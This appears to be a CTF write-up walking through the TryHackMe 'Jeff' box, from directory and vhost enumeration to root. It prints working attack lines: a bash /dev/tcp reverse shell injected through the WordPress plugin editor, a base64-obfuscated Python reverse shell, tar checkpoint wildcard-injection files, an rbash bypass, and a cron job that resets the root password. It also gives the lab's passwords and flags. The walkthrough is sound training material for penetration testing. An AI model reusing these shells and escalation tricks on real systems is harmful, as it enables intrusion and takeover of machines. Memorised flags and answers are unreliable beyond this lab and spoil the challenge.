TryHackMe - Jeff

Box Stats

Box Info Details
Box Name : Jeff
Difficulty : Hard
Play : Jeff
Recommended : Yes :heavy_check_mark:

Summary

Hello, this was a great hard box that i did with my new teammate Zero. We had a great teamwork & we solved it pretty fast for its level, i recommend you to try it. I’ll not say much now, let’s start!

Enumeration/Reconnaissance

Now as always let’s continue with a nmap scan.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ ip=10.10.39.166
$ nmap -sC -sV -oN nmap/jeff.thm $ip
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-17 13:18 EET
Nmap scan report for 10.10.39.166 (10.10.39.166)
Host is up (0.15s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 7e:43:5f:1e:58:a8:fc:c9:f7:fd:4b:40:0b:83:79:32 (RSA)
|   256 5c:79:92:dd:e9:d1:46:50:70:f0:34:62:26:f0:69:39 (ECDSA)
|_  256 ce:d9:82:2b:69:5f:82:d0:f5:5c:9b:3e:be:76:88:c3 (ED25519)
80/tcp open  http    nginx
|_http-title: Site doesn't have a title (text/html).

The hint says to us to add jeff.thm to /etc/hosts file.

1
2
$ echo "10.10.39.166 jeff.thm" | tee -a /etc/hosts
10.10.39.166 jeff.thm

Website doesn’t provide something useful, so let’s continue with a gobuster scan.

1
2
3
4
$ gobuster dir -q -u http://jeff.thm/ -w $common -x php,txt,html -o scans/gobuster1.txt
/admin (Status: 301)
/assets (Status: 301)
/backups (Status: 301)

/backups seems interesting, let’s run a gobuster scan in it with lot of extensions.

1
2
$ gobuster dir -q -u http://jeff.thm/backups/ -w $medium -x txt,py,sh,zip,rar,tar,bak,backup -o scans/gobuster2.txt
/backup.zip (Status: 200)

Here we go, let’s download it & open it. When we try to open it asks for password:

1
2
3
4
5
6
$ wget -q http://jeff.thm/backups/backup.zip
$ unzip backup.zip
Archive:  backup.zip
   creating: backup/
   creating: backup/assets/
[backup.zip] backup/assets/EnlighterJS.min.css password:

We can easily crack it using fcrackzip.

1
2
3
$ fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt backup.zip

PASSWORD FOUND!!!!: pw == !!Burningbird!!

Once we unzip, we can see that provides a wordpress password.

1
2
3
4
5
6
7
$ unzip -q backup.zip
[backup.zip] backup/assets/EnlighterJS.min.css password:
$ cd backup
$ ls
assets  index.html  wpadmin.bak
$ cat wpadmin.bak
wordpress password is: phO#g)C5dhIWZn3BKP

The problem is that we haven’t a wordpress installation, because of the virtual host we can test for subdomains. We can do that using gobuster or wfuzz i’ll show you both ways.

1
2
$ gobuster vhost -q -u http://jeff.thm/ -w /root/Documents/wordlists/SecLists/Discovery/DNS/shubs-subdomains.txt -o scans/subdomain.txt
Found: wordpress.jeff.thm (Status: 200) [Size: 25901]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ wfuzz -c -w /root/Documents/wordlists/SecLists/Discovery/DNS/shubs-subdomains.txt -H "Host: FUZZ.jeff.thm" --hw 12 $ip

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.39.166/
Total requests: 484700

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                 
=====================================================================

000001053:   200        346 L    1455 W     25901 Ch    "wordpress"   

Let’s add it to /etc/hosts.

1
2
$ echo "10.10.39.166 wordpress.jeff.thm" | tee -a /etc/hosts
10.10.39.166 wordpress.jeff.thm

Shell as www-data

Now we can see the wordpress site:

Let’s run a wpscan scan to find out the username.

1
2
3
4
5
6
7
8
9
10
11
12
$ wpscan --no-banner --url http://wordpress.jeff.thm/ -e ap,u -o scans/wpscan.txt

...data...

[i] User(s) Identified:

[+] jeff
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

So now we can login in as jeff:phO#g)C5dhIWZn3BKP# at /wp-admin.

To spawn a reverse shell, the normal way using the theme editor doesn’t work. We have to use the plugin editor now, follow my steps:

1
system("bash -c 'bash -i >& /dev/tcp/$your_tun0_ip/5555 0>&1'");

1
2
3
4
5
6
$ nc -lvp 5555
listening on [any] 5555 ...

www-data@Jeff:/var/www/html/wp-admin$ whoami;id
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Shell as backupmgr

Doing the enumeration, i found out a ftp_backup.php file with some credentials in.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$dbFile = 'db_backup/backup.sql';
$ftpFile = 'backup.sql';

$username = "backupmgr";
$password = "SuperS1ckP4ssw0rd123!";

$ftp = ftp_connect("172.20.0.1");

if( ! ftp_login($ftp, $username, $password) ){
    die("FTP Login failed.");
}

$msg = "Upload failed";
if (ftp_put($ftp, $remote_file, $file, FTP_ASCII)) {
    $msg = "$file was uploaded.\n";
}

echo $msg;
ftp_close($conn_id);

Let’s try to connect to FTP server using curl. Note: -P - is the important part makes curl use the only available connection.

1
2
www-data@Jeff:/var/www/html$ curl -s -P - --list-only 'ftp://backupmgr:SuperS1ckP4ssw0rd123!@172.20.0.1/'
files

I googled around for “linux backup privilege escalation” and i found an article about TAR wildcard injection & it worked.

First lets generate a python one-liner reverse shell using msfvenom.

1
2
3
4
5
$ msfvenom -p cmd/unix/reverse_python lhost=10.9.234.105 lport=6666 R

No encoder specified, outputting raw payload
Payload size: 625 bytes
python -c "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCAgLCAgICAgIHN1YnByb2Nlc3MgICwgICAgICBvcyAgICAgOyAgICAgICAgIGhvc3Q9IjEwLjkuMjM0LjEwNSIgICAgIDsgICAgICAgICBwb3J0PTY2NjYgICAgIDsgICAgICAgICBzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQgICwgICAgICBzb2NrZXQuU09DS19TVFJFQU0pICAgICA7ICAgICAgICAgcy5jb25uZWN0KChob3N0ICAsICAgICAgcG9ydCkpICAgICA7ICAgICAgICAgb3MuZHVwMihzLmZpbGVubygpICAsICAgICAgMCkgICAgIDsgICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICwgICAgICAxKSAgICAgOyAgICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSAgLCAgICAgIDIpICAgICA7ICAgICAgICAgcD1zdWJwcm9jZXNzLmNhbGwoIi9iaW4vYmFzaCIp')[0]))"

Let’s add into shell.sh:

1
2
www-data@Jeff:/tmp$ echo "python3 -c \"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCAgLCAgICAgIHN1YnByb2Nlc3MgICwgICAgICBvcyAgICAgOyAgICAgICAgIGhvc3Q9IjEwLjkuMjM0LjEwNSIgICAgIDsgICAgICAgICBwb3J0PTY2NjYgICAgIDsgICAgICAgICBzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQgICwgICAgICBzb2NrZXQuU09DS19TVFJFQU0pICAgICA7ICAgICAgICAgcy5jb25uZWN0KChob3N0ICAsICAgICAgcG9ydCkpICAgICA7ICAgICAgICAgb3MuZHVwMihzLmZpbGVubygpICAsICAgICAgMCkgICAgIDsgICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICwgICAgICAxKSAgICAgOyAgICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSAgLCAgICAgIDIpICAgICA7ICAgICAgICAgcD1zdWJwcm9jZXNzLmNhbGwoIi9iaW4vYmFzaCIp')[0]))\"" > shell.sh
<9jZXNzLmNhbGwoIi9iaW4vYmFzaCIp')[0]))\"" > shell.sh

Now we will use 2 commands that help tar to run shell.sh:

1
2
www-data@Jeff:/tmp$ echo "" > "--checkpoint-action=exec=sh shell.sh"
www-data@Jeff:/tmp$ echo "" > --checkpoint=1

Now let’s upload them to FTP server using curl.

1
2
3
www-data@Jeff:/tmp$ curl -s -P - -T "shell.sh" 'ftp://backupmgr:SuperS1ckP4ssw0rd123!@172.20.0.1/files/'
www-data@Jeff:/tmp$ curl -s -P - -T "--checkpoint-action=exec=sh shell.sh" 'ftp://backupmgr:SuperS1ckP4ssw0rd123!@172.20.0.1/files/'
www-data@Jeff:/tmp$ curl -s -P - -T "--checkpoint=1" 'ftp://backupmgr:SuperS1ckP4ssw0rd123!@172.20.0.1/files/'

We’ve shell back.

1
2
3
4
5
6
7
$ nc -lvp 6666
listening on [any] 6666 ...
connect to [10.9.234.105] from jeff.thm [10.10.39.166] 50444
python3 -c 'import pty; pty.spawn("/bin/bash")'
backupmgr@tryharder:~/.ftp/files$ whoami;id
backupmgr
uid=1001(backupmgr) gid=1001(backupmgr) groups=1001(backupmgr)

Shell as jeff

Now i searched for files based on jeff user.

1
2
3
4
backupmgr@tryharder:/$ find / -user "jeff" 2>/dev/null
/opt/systools
/opt/systools/systool
/var/backups/jeff.bak

Perfect, the systool binary has 3 options:

1
2
3
4
5
6
7
8
backupmgr@tryharder:/opt/systools$ ./systool
Welcome to Jeffs System Administration tool.
This is still a very beta version and some things are not implemented yet.
Please Select an option from below.
1 ) View process information.
2 ) Restore your password.
3 ) Exit
Chose your option:

The second option, prints message.txt file from the same directory. So we can just create a symlink that points to /var/backups/jeff.bak

1
2
3
4
5
6
7
8
9
10
11
12
backupmgr@tryharder:/opt/systools$ ln -s /var/backups/jeff.bak message.txt

backupmgr@tryharder:/opt/systools$ ./systool
Welcome to Jeffs System Administration tool.
This is still a very beta version and some things are not implemented yet.
Please Select an option from below.
1 ) View process information.
2 ) Restore your password.
3 ) Exit
Chose your option: 2

Your Password is: 123-My-N4M3-1z-J3ff-123

Perfect now let’s login using SSH.

1
2
3
4
5
$ ssh jeff@$ip
jeff@10.10.39.166's password:

jeff@tryharder:~$ whoami
-rbash: /usr/lib/command-not-found: restricted: cannot specify `/' in command names

We’re into rbash to bypass that we’ll use SSH again with --no-profile.

1
2
3
4
5
$ ssh jeff@$ip -t "bash --noprofile"
jeff@10.10.39.166's password:
jeff@tryharder:~$ whoami;id
jeff
uid=1000(jeff) gid=1000(jeff) groups=1000(jeff),1002(pwman)

Shell as root

Checking the sudo -l we can run crontab as root:

1
2
3
4
5
6
7
8
jeff@tryharder:~$ sudo -l
[sudo] password for jeff:

Matching Defaults entries for jeff on tryharder:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jeff may run the following commands on tryharder:
    (ALL) /usr/bin/crontab

The crontab command allows us to create or edit a cron job. Let’s create a cron job that change root password every 1 minute.

*/1 * * * * echo 'root:pwned' | sudo chpasswd

1
2
3
4
5
jeff@tryharder:~$ su - root
Password:
root@tryharder:~# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)

My teammate found another way to privesc, easier. Since crontab it uses vim we can just do :!/bin/bash! :D

Let’s read the flags:

1
2
3
4
5
6
root@tryharder:~# cat /root/root.txt; cat /home/jeff/user.txt
THM{40fc54e5c0f5747dfdd35e0cc7db6ee2}

Congratz on completing my box.
Sorry if you hated it, it was my first one :)
THM{HashMeLikeOneOfYourFrenchGirls}

Thank You

Thank you for taking the time to read my writeup. If you don’t understand something from the writeup or want to ask me something feel free to contact me through discord(0xatom#8707) or send me a message through twitter 0xatom

Until next time keep pwning hard! :fire: